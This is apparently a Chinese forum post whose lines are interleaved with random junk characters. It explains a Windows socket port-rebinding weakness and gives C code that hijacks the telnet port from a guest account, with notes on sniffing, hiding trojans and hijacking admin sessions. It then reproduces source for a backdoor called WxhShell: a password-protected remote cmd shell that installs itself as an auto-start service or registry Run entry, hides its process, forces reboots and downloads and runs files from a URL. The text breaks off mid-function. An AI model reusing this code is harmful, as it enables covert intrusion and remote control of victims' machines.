在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u5B/Em7,0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?)<XuMh
2Ab#uPBn saddr.sin_family = AF_INET;
t#{>y1[29 a;6\T*iJ! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H%gD[!^ -L<Pm(v& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fmN)~-DV9` KPcuGJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_NW OSt 6M|%nBN$| 这意味着什么?意味着可以进行如下的攻击:
'GoeVq :QSW^x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;;H:$lx *F&&rsb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#I wB E%:zE Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?b$zuJ] @S:/6__ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LX&P]{qKS 3k0%H]wt 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;MI<J>s UL"3skV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y% 9F LK5H~FK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&4FdA|9T ,99G2Ev4c #include
/RmCMT #include
I]$d,N!. #include
_Q}z 6+_\ #include
>u2#<k]1& DWORD WINAPI ClientThread(LPVOID lpParam);
M.Ik%nN#K0 int main()
Zi)8KO[/0 {
a~"X.xT\R WORD wVersionRequested;
7T Bo*-! DWORD ret;
K),wAZI!7j WSADATA wsaData;
_4]dPk#^ BOOL val;
h)`vc#"65k SOCKADDR_IN saddr;
Bb`^,?m SOCKADDR_IN scaddr;
4e t#Q int err;
~.PYS!" + SOCKET s;
s30_lddD SOCKET sc;
S7Fxb+{6D int caddsize;
YPEd
XU8} HANDLE mt;
_O<{H '4NO DWORD tid;
c.WT5|:qw wVersionRequested = MAKEWORD( 2, 2 );
C%>7mz-v5 err = WSAStartup( wVersionRequested, &wsaData );
6iWuBsal if ( err != 0 ) {
uSjMqfK printf("error!WSAStartup failed!\n");
`s $@6r$ return -1;
S8,06/# }
d:''qgz` saddr.sin_family = AF_INET;
T5;D0tM/ MzG.Qh'z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P|U>(9;P, <i|+p1t saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)Cl&"bX saddr.sin_port = htons(23);
=x}/q4}L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0iHI"9z {
4+ gA/< printf("error!socket failed!\n");
]FBfh.#X@ return -1;
0oMMJ6"i }
<-pbLL 9 val = TRUE;
9E+lriyY //SO_REUSEADDR选项就是可以实现端口重绑定的
-(G2@NG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c[$oR,2b13 {
0a'y\f:6* printf("error!setsockopt failed!\n");
HvTQycG return -1;
< lrw7 T }
4J1Q])G9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_HQa3wj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]Y?$[+Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
HPQ ,tlp6j 10&A3C(E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
E
\RU[ {
.y!Hw{cq ret=GetLastError();
($TxVFNT printf("error!bind failed!\n");
6eD[)_?]y return -1;
W8^gPW*c5 }
dEiX!k$# listen(s,2);
49m/UeNZ while(1)
k*Kq:$9" {
wSK?mS6 caddsize = sizeof(scaddr);
wF(FV4#gs //接受连接请求
= DgD&_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Mx
}(w\\T if(sc!=INVALID_SOCKET)
}!LYV {
S;g~xo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s"/8h#!zv if(mt==NULL)
r/e&}! {
f2=s{0SX0 printf("Thread Creat Failed!\n");
Ub$$wOsf break;
D-.>Dw: }
]Vsze4>Z[ }
lV?SvXe CloseHandle(mt);
CHz(wn }
K02./ut- closesocket(s);
9HE)!Col WSACleanup();
Tla*V#:Ve return 0;
=
7?'S# }
I2dt# DWORD WINAPI ClientThread(LPVOID lpParam)
l;2bBx7vW {
g`j%jQuY SOCKET ss = (SOCKET)lpParam;
e.T5F`Du SOCKET sc;
:PLs A3[} unsigned char buf[4096];
+ |,CIl+ SOCKADDR_IN saddr;
H{BjxZ~) long num;
YpL}R# DWORD val;
D7%89qt DWORD ret;
pkoHi'}} $ //如果是隐藏端口应用的话,可以在此处加一些判断
4aRYz\yT= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ObCwWj^qO saddr.sin_family = AF_INET;
/vhh2` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
LP~$7a saddr.sin_port = htons(23);
ft7wMi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
C {))T5G {
{^qc`oF printf("error!socket failed!\n");
c2C8}XJ|O return -1;
)Mok$ }
'Zzm'pC val = 100;
^vPa{+N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-[F^~Gv|; {
S8y4 p0mV ret = GetLastError();
K( p1+GHC return -1;
5HU>o|. }
$W09nz9? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>3bpa<M_ {
]?r8^L yZ4 ret = GetLastError();
#GF1MFkoS return -1;
0jXIx2y }
FD*y[A
? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WO{N@f^ {
m$^7sFD$ printf("error!socket connect failed!\n");
}vi%pfrB closesocket(sc);
u/zC$L3B( closesocket(ss);
8,R]R= return -1;
~ce.&C7cR }
;2iZX=P`n while(1)
9p.>L8 {
{)y4Qp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jDnh/k0{d //如果是嗅探内容的话,可以再此处进行内容分析和记录
V;V9_qP, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@^ e@.) num = recv(ss,buf,4096,0);
`#ztp)& if(num>0)
ox6rR
send(sc,buf,num,0);
j{=%~ else if(num==0)
Ixw,$%-]y6 break;
yV. P.Q num = recv(sc,buf,4096,0);
6PH*]#PfoD if(num>0)
:wZZ 1qa send(ss,buf,num,0);
F)@<ZE else if(num==0)
hqBRh+[ break;
v^tKT& }
4Y!v$r closesocket(ss);
0#JBz\ closesocket(sc);
yiOF& return 0 ;
6D0,ME# }
1<83MO; F\I^d]#,[ [OcD#~drO ==========================================================
=FnZk J rXPXO=F1/ 下边附上一个代码,,WXhSHELL
2}b bdX x )B_h"5X4\y ==========================================================
*v+ fkg |>4 { 4 #include "stdafx.h"
`Nn?G 9:>K!@ #include <stdio.h>
7L*`nU|h #include <string.h>
2"O Y]d #include <windows.h>
pB./L&h #include <winsock2.h>
St`m52V(5X #include <winsvc.h>
9o`3g@6z #include <urlmon.h>
${wE5^ky n&]w* (, #pragma comment (lib, "Ws2_32.lib")
BXY'%8q _a #pragma comment (lib, "urlmon.lib")
keOW{:^i Vd4osBu{fY #define MAX_USER 100 // 最大客户端连接数
#pfosC[ #define BUF_SOCK 200 // sock buffer
4lCm(#T{, #define KEY_BUFF 255 // 输入 buffer
k:Q<Uanc[ AHGcWS\,X #define REBOOT 0 // 重启
N3p3"4_]fy #define SHUTDOWN 1 // 关机
Ne
4*MwK S<~nk-xr*h #define DEF_PORT 5000 // 监听端口
k 9rnT)YU Oe`t!&v #define REG_LEN 16 // 注册表键长度
IJ;*N #define SVC_LEN 80 // NT服务名长度
=*jcO119L 5b p"dIe // 从dll定义API
'QF>e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
A]$+
`uS\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
OWsYE? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#cS,5(BM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m12B:f m{c#cR // wxhshell配置信息
tpONSRY struct WSCFG {
VKz<7K\/ int ws_port; // 监听端口
g/p
}r. char ws_passstr[REG_LEN]; // 口令
h>0<@UP int ws_autoins; // 安装标记, 1=yes 0=no
8
-A7 char ws_regname[REG_LEN]; // 注册表键名
kB#vh char ws_svcname[REG_LEN]; // 服务名
^<0 NIu} char ws_svcdisp[SVC_LEN]; // 服务显示名
VhgEG(Ud char ws_svcdesc[SVC_LEN]; // 服务描述信息
Xf9%A2 iB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@~3c"q;i7 int ws_downexe; // 下载执行标记, 1=yes 0=no
(14kR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
VAGMI+ - char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~-wJ#E3g [t{#@X };
:n9~H+! r:4IKuTR // default Wxhshell configuration
GK?R76d struct WSCFG wscfg={DEF_PORT,
twmJ "xuhuanlingzhe",
4uAafQ`@H 1,
[[h)4H{T "Wxhshell",
9t.yP;j\Y "Wxhshell",
sA-W^*+ "WxhShell Service",
@n*D>g "Wrsky Windows CmdShell Service",
KxmPL "Please Input Your Password: ",
NP'Ke: 1,
k<zGrq=8J "
http://www.wrsky.com/wxhshell.exe",
?0<INS~ "Wxhshell.exe"
pm@Z[g };
zB"
`i SoU'r]k1x // 消息定义模块
% 3-\3qx* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
zy6(S_j char *msg_ws_prompt="\n\r? for help\n\r#>";
cqL7dlhIl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1[g!^5W char *msg_ws_ext="\n\rExit.";
p]z54 ~ char *msg_ws_end="\n\rQuit.";
I@Z*Nu1L char *msg_ws_boot="\n\rReboot...";
XW_xNkpL5c char *msg_ws_poff="\n\rShutdown...";
wx%nTf/Oa char *msg_ws_down="\n\rSave to ";
a&
aPBv1 124L3AG char *msg_ws_err="\n\rErr!";
?En|
_E_C char *msg_ws_ok="\n\rOK!";
G4%M$LJh emY5xZ@N char ExeFile[MAX_PATH];
\*!%YTZ~ int nUser = 0;
R|J>8AL}BY HANDLE handles[MAX_USER];
ZHD0u)ri=J int OsIsNt;
:8Ts'OGwI C1B3VG SERVICE_STATUS serviceStatus;
,x"yZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
dwbY"t[9 l3?,gd.- // 函数声明
W;oU +z^t$ int Install(void);
%>9+1lUhV int Uninstall(void);
G q:4rG| int DownloadFile(char *sURL, SOCKET wsh);
a$zm/ int Boot(int flag);
Ms'TC;&PS void HideProc(void);
`I vw`} L int GetOsVer(void);
JlDDM
% int Wxhshell(SOCKET wsl);
t#pqXY/;D void TalkWithClient(void *cs);
+V);'"L int CmdShell(SOCKET sock);
~? FrI int StartFromService(void);
g[wP!y%V int StartWxhshell(LPSTR lpCmdLine);
RTgA[O4J N~S[xS? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E7NbPNd VOID WINAPI NTServiceHandler( DWORD fdwControl );
B#k3"vk# 8LQ59K_WX // 数据结构和表定义
3Da,]w< SERVICE_TABLE_ENTRY DispatchTable[] =
Ih-3t*L {
|
2.e0Z]k {wscfg.ws_svcname, NTServiceMain},
]Z$TzT&@% {NULL, NULL}
Fi?Q
4b };
mU3Y) uO _,n // 自我安装
`gt&Y- int Install(void)
6a%:zgkOpu {
@W1WReK]f char svExeFile[MAX_PATH];
>^H'ZYzw HKEY key;
PJK]t7vp strcpy(svExeFile,ExeFile);
jW1YTQ x7KcO0F{ // 如果是win9x系统,修改注册表设为自启动
i{|lsd(+ if(!OsIsNt) {
~N{_N95!2@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YV1a3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,a9D~i 9R RegCloseKey(key);
18O@ 1M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VA=#0w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ovQS
ET18b RegCloseKey(key);
Q3BLL`W~ return 0;
49xp2{ }
9 wSl,B- }
sP6 ):h }
`i t+D else {
'NT#(m% pcRF:~TE // 如果是NT以上系统,安装为系统服务
!@^y)v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Dm|gSv8d, if (schSCManager!=0)
BN\fv, {
<TLGfA1bC SC_HANDLE schService = CreateService
$ DDSN (
MfXt+c`r schSCManager,
HUU >hq9 wscfg.ws_svcname,
9Qt)m
fqM wscfg.ws_svcdisp,
2I]]WBW#: SERVICE_ALL_ACCESS,
B@cJ\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9Eq^B9( SERVICE_AUTO_START,
VO.-. SERVICE_ERROR_NORMAL,
``(}4a svExeFile,
->&BcPLn NULL,
-O~C m}e NULL,
4NpHX+=P NULL,
&5kZ{,-eM NULL,
JdaFY+f: NULL
xHEVR!&c4 );
tSEA999 if (schService!=0)
WdTbt {
^H5w41 CloseServiceHandle(schService);
b(q$j/~ zb CloseServiceHandle(schSCManager);
P<>[e9| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a);O3N/*I strcat(svExeFile,wscfg.ws_svcname);
gf:vb*#Wa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Qy{NS.T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*TJBPM, RegCloseKey(key);
&q4ox7 1 return 0;
$!3gN% }
dzgs%qtK }
gXq!a|eH CloseServiceHandle(schSCManager);
#C"7
l6'a }
H,(F1+~d }
i'M^ez)u +DicP"~* return 1;
!aQIh }
k!Vn4?B"k Q8 -3RgAw // 自我卸载
,"@w>WL<9 int Uninstall(void)
rQ=xcn[A {
IgLVn<5n HKEY key;
6eD(dZ jz
%;4e~t if(!OsIsNt) {
9TqnzD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:L]-'\y RegDeleteValue(key,wscfg.ws_regname);
B:e.gtM5 RegCloseKey(key);
53bM+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&K06}[J RegDeleteValue(key,wscfg.ws_regname);
=ZG<BG_ RegCloseKey(key);
$b4*/vMr return 0;
XQK^$Iq]V }
~@xT]D!BQ }
]AFj&CteZ/ }
$RpFxi
else {
/CIx$G et@">D%;] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W5pn;u- sz if (schSCManager!=0)
,(6)ghr {
g+igxC}2z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ot^q}fRX if (schService!=0)
>+L7k^[,0 {
JK[T]|G if(DeleteService(schService)!=0) {
]n~yp5Nbr CloseServiceHandle(schService);
j(&GVy^;? CloseServiceHandle(schSCManager);
a-fv[oB return 0;
vxb@9eb!H }
Dq|GQdZ>o CloseServiceHandle(schService);
wc"9A~ }
?'Cb-C_ CloseServiceHandle(schSCManager);
'Cg V0&@ }
|0lLl^zp }
U4]30B{;H Qy/uB$q{A return 1;
S,XKW(5 }
\]t]#D>0 k<!<<,Z // 从指定url下载文件
lbd(j{h>4 int DownloadFile(char *sURL, SOCKET wsh)
nMkOUW:T! {
UnP|]]o:I HRESULT hr;
?5`{7daot char seps[]= "/";
Mw+v"l&mU char *token;
sp^Wo7&g char *file;
pKq ]X}[^c char myURL[MAX_PATH];
p:Oz<P char myFILE[MAX_PATH];
u
>4ArtF v_.HGGS strcpy(myURL,sURL);
jKS!'? token=strtok(myURL,seps);
w\Iqzpikr while(token!=NULL)
oooS s&t {
C\OECVT file=token;
pp<E))&R token=strtok(NULL,seps);
o OQ'*7_ }
ewpig4 Gy9
$Wj GetCurrentDirectory(MAX_PATH,myFILE);
7 I@";d8~ strcat(myFILE, "\\");
qIz}$%!A strcat(myFILE, file);
*Z > send(wsh,myFILE,strlen(myFILE),0);
9j0o&Xn send(wsh,"...",3,0);
se#@)LtZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f9a$$nb3` if(hr==S_OK)
RtwUb(wn6 return 0;
|U EC else
"-P/jk return 1;
v$;@0t:;# Je 31". }
Od-Ax+Hp WtVf wC_ // 系统电源模块
fgmSgG"b int Boot(int flag)
Dm^l?Z {
#~S>K3( HANDLE hToken;
_KN:
o10U TOKEN_PRIVILEGES tkp;
Ev{MCu1!6 ]
opto if(OsIsNt) {
&atyDFJ' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q(e{~
]* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}3J=DCtS tkp.PrivilegeCount = 1;
eIJ[0c b} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|kc@L`7s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Wxn#Rk#> if(flag==REBOOT) {
JCD?qeTg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
or!!s
5[d return 0;
e}e6r3faz }
{yS;NU`2 else {
ws[/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7E\g
&R. return 0;
o0l74 }
<aXoB*Y
}
C `6S}f, else {
l
sr?b if(flag==REBOOT) {
+(&|u q^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XhN{S]Wn return 0;
U<rI!!#9 }
Pj&A= else {
r**f,PDZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Bzw19S6y return 0;
{[P!$
/ }
M*(H)i;s:w }
GyK(Vb"h6 q/x/N5HU return 1;
~)?|J }
nmg{%P c]NN'9G!{ // win9x进程隐藏模块
#)]E8=} void HideProc(void)
j8a[
( {
g YUTt 7 >bMzdH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$w/E9EJ)3A if ( hKernel != NULL )
mX;H(( {
Cfv]VQQE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
p/&HUQQk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P0 b4Hq3 FreeLibrary(hKernel);
({ k7#1
h8 }
jkt6/H (A4&k{C_ return;
e2wvc/gG6 }
F&az": H%z/v|e6 // 获取操作系统版本
T,OS 0;7O int GetOsVer(void)
?Oc
- aa {
kP^*hO!% OSVERSIONINFO winfo;
CmHyAw( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`{o$F ::( GetVersionEx(&winfo);
RG}}Oh="v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,H{={aln return 1;
d}+W"j; else
QNpuTZn#Q return 0;
bLlH//ZRH }
WFDCPQ@ 7&|6KN}c // 客户端句柄模块
<u0,Fp int Wxhshell(SOCKET wsl)
eGvOA\y: {
:tbd,Uo SOCKET wsh;
2(+P[( N1, struct sockaddr_in client;
r6
}_H?j DWORD myID;
h.}u?{ (w$'o*z;( while(nUser<MAX_USER)
;==j|/ERe {
sLhDO'kM int nSize=sizeof(client);
zJCEA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KGT3|)QN if(wsh==INVALID_SOCKET) return 1;
x<F$aXOS iRve) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ix*muVBj. if(handles[nUser]==0)
tvpN/p closesocket(wsh);
x7$ax79ly else
[.&[<!,. nUser++;
$.8 H>c }
0Oap39 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
y-a|Lu* E1(1E?}! return 0;
^P$7A]! }
FYl3c $[z<oN_Q // 关闭 socket
?cK]C2Ak void CloseIt(SOCKET wsh)
B9#;- QO {
~kb{K; closesocket(wsh);
PeNF+5s/K nUser--;
_ECB^s_ ExitThread(0);
R=$Ls6z }
Qxq-Mpx{ h<NRE0- // 客户端请求句柄
8Z8Y[p void TalkWithClient(void *cs)
e=>%^F {
'[0YIn Pa&4)OD SOCKET wsh=(SOCKET)cs;
u)~s4tP4 char pwd[SVC_LEN];
9rcI+q=E
char cmd[KEY_BUFF];
Y[G9Vok
VX char chr[1];
6fGK(r int i,j;
.NnGVxc5* 1;&T^Gdj while (nUser < MAX_USER) {
tX?J@+ |GuEGmR if(wscfg.ws_passstr) {
(/?R9T[V&^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S#2[%o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6+PGwCS //ZeroMemory(pwd,KEY_BUFF);
(h,Ws-O i=0;
<L&eh&4c while(i<SVC_LEN) {
F,pCR7o> ;k}H(QI // 设置超时
~L'nzquF fd_set FdRead;
f#OQ (WTJE struct timeval TimeOut;
ZqK]jT6V/X FD_ZERO(&FdRead);
%rcFT_ FD_SET(wsh,&FdRead);
jBRPR
R0 TimeOut.tv_sec=8;
1X&B:_ TimeOut.tv_usec=0;
vGN3 YcH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Zi4d] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=DMbz`t 28oJFi] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MZ~.(& pwd
=chr[0]; Pfan7fq+
if(chr[0]==0xd || chr[0]==0xa) { TB#Nk5
pwd=0; zH=hIVc
break; Dl A Z"C
} # ZTLrq5b
i++; _]o5R7[MQ
} rBfg*r`)
GAp!nix6h
// 如果是非法用户,关闭 socket LdEE+"Jw
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #U@| J}a
} t?3BCm$Mi
?D=8{!R3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gp/YjUH7k8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n(R_#,Hs
sFElD
]|
while(1) { m&Sp1=*Ejy
@q)E=G1<o0
ZeroMemory(cmd,KEY_BUFF); JIV8q HC
:hP58 }Q$
// 自动支持客户端 telnet标准 !01i%W'
j=0; h8.FX-0& =
while(j<KEY_BUFF) { eP= j.$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tcOnM w
cmd[j]=chr[0]; v}P!HczmMP
if(chr[0]==0xa || chr[0]==0xd) { &t6Tcy
cmd[j]=0; N-QCfDao
break; `~nCbUUee
} =]b9X7}
j++; @?a4i
} W~NYU
}n[Bq#
// 下载文件 ,`
o+ ?
if(strstr(cmd,"http://")) { U~/ID
send(wsh,msg_ws_down,strlen(msg_ws_down),0); VDiOO
if(DownloadFile(cmd,wsh)) g1V)$s7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s0!kwrBsp
else voh^|(:(TH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1e pf
} 6~@5X}^<0
else { usH%dzKK
]l&'k23~p
switch(cmd[0]) { __(V C:
all*P #[X
// 帮助 ]M\q0>HoJ
case '?': { iZC`z
}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]!aUT&
break; P`
]ps?l
} fIkT"?
// 安装 3EOyq^I%
case 'i': { }]GbUC!Zb
if(Install()) J6auUm` `
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4J}3,+
else B5`;MQJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yxqj -
break; !I7 ?
} %zflx~
// 卸载 OG}KqG!n
case 'r': { mz-N{ >k
if(Uninstall()) -0DZ::
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FG#nap{
else hS_.l}0yf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iT$d;5_pU
break; 8&?p
} BS.=
// 显示 wxhshell 所在路径 C P&o%Uc*
case 'p': { )_Iz>)
char svExeFile[MAX_PATH]; {aIZFe}B
strcpy(svExeFile,"\n\r"); 5rN7':(H!%
strcat(svExeFile,ExeFile); Gh+f1)\FA"
send(wsh,svExeFile,strlen(svExeFile),0); r?$&Z^
break; acae=c|X
} }.t^D|
// 重启 ^O \q3HA_4
case 'b': { :D4];d>1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8]]@S"ZM,\
if(Boot(REBOOT)) Tzf$*Uje3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_X.c
else { xT=ySa$|>
closesocket(wsh); TrQm]9 @
ExitThread(0); ^'YHJEK
} +.K*n&
break; %I}'Vb{C
} >#?iO]).
// 关机 Om6Mmoqh
case 'd': { niAZ$w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?FDJqJM
if(Boot(SHUTDOWN)) 8})|^%@n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tWX7dspx/
else { wPQ&Di*X}
closesocket(wsh); >uW^.e "F
ExitThread(0); -#OwJ*-U
} b=G4MZQ
break; Yx 3|G
} /N%zwj/*
// 获取shell g/B\ObY
case 's': { fFHK:n`
CmdShell(wsh); Iu%^*K%
closesocket(wsh); Iht'e8)gq
ExitThread(0); O$U}d-Xnx
break; UQnBqkE
} jm+blB^%K
// 退出 Bs@:rhDi
case 'x': { 8W@dtZ,d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X98#QR#m
CloseIt(wsh); lJlhl7
break; $':JI#
} HoL~j( {
// 离开 Q-3r}jJe
case 'q': { XJ O[[G`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s!aO*\[<h
closesocket(wsh); BPh".R J
WSACleanup(); ]2PQ X4t0
exit(1); [bsXF#
break; ovbEmb
} @Jm.HST#S8
} Enu!u~1]F
} !*5_pGe
{wHvE4F2
// 提示信息 <c(&T<$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *|^,DGfQ6
} Y}S.37|+^
} w"BIv9N
lS#7xh
return; 3`xsK[
} ma1(EJ/
<r_3obRC
// shell模块句柄 vUqe.?5
int CmdShell(SOCKET sock) We\KDU\n
{ 40R"^*
STARTUPINFO si; 'frWu6]<
4
ZeroMemory(&si,sizeof(si)); b$dBV}0 L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1E8$% 6VV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g
,`F<CF9
PROCESS_INFORMATION ProcessInfo; Z>X9J(=
char cmdline[]="cmd"; 7,f:Qi@g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pa>p%
return 0; )4@M`8
} :-(U%`a[
@51z-T
// 自身启动模式 EN)YoVk
int StartFromService(void) dJloH)uJZ>
{ [TP
typedef struct =n)JJS94
{ _cR6ik zW(
DWORD ExitStatus; 6BUBk>A`
DWORD PebBaseAddress; uijq@yo8-
DWORD AffinityMask; B^H4Q
4-
